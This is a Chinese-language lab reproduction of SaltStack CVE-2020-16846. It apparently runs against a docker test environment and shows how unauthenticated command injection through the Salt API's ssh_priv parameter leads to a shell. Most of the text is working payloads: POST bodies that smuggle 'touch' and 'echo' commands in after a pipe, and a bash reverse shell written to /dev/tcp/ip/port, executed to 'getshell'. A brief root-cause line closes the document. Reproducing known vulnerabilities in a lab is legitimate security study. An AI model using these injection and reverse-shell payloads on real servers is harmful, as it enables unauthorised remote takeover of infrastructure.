漏洞描述
SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。2020年11月SaltStack官方披露了CVE2020-16846,CVE-2020-16846允许用户执行任意命令。组合这两个漏洞,将可以使未授权的攻击者通 过Salt API执行任意命令 影响范围 SaltStack < 3002.1 SaltStack < 3001.3 SaltStack < 3000.5 SaltStack < 2019.2.7
开始复现:
我们启动docker ,进入相应的漏洞,输入
docker-compose up -d
启动成功以后我们在浏览器输入启动的环境IP和端口,查看是否启动成功
启动成功
我们打开BP,访问这个地址的run路径 抓包,发送到Repeater,改变请求方式为POST
我们在下面添加一条数据,点击发送,这是一条在docker容器里面添加文件的命令
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/456%3b
这里的%20是空格,%3b是分号;
然后我们进入容器的命令行:
先查看容器ID:
docker ps
然后进入容器命令行:
docker exec -it ID bash
进入到我们添加文件的路径并且查看是否添加成功:
添加成功,
我们在456文件中写入数据2:
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|echo 2 > /tmp/456%3b
成功,我们去容器看一下是否写入成功:
成功,既然能够写入数据,我们写入一个反弹命令
echo 'bash -i >%26 /dev/tcp/ip/port 0>%261' >/tmp/456.sh%3b
注意:这里的IP填需要反弹到的IP和端口
因为这里的&被过滤了,我们将&进行URL编码为%26 ,这里的456.sh 是我们创建的一个可执行文件
我们进入容器看一下是否成功
成功
我们开启一个监听:
那么我们用BP直接去运行这个可执行文件:
bash%20/tmp/456.sh%3b
打开我们监听的端口:
成功,得到getshell
漏洞分析
该漏洞的成因是因为 salt/client/ssh/shell.py 文件没有对用户参数进行严格的过滤,导致可以执行命令.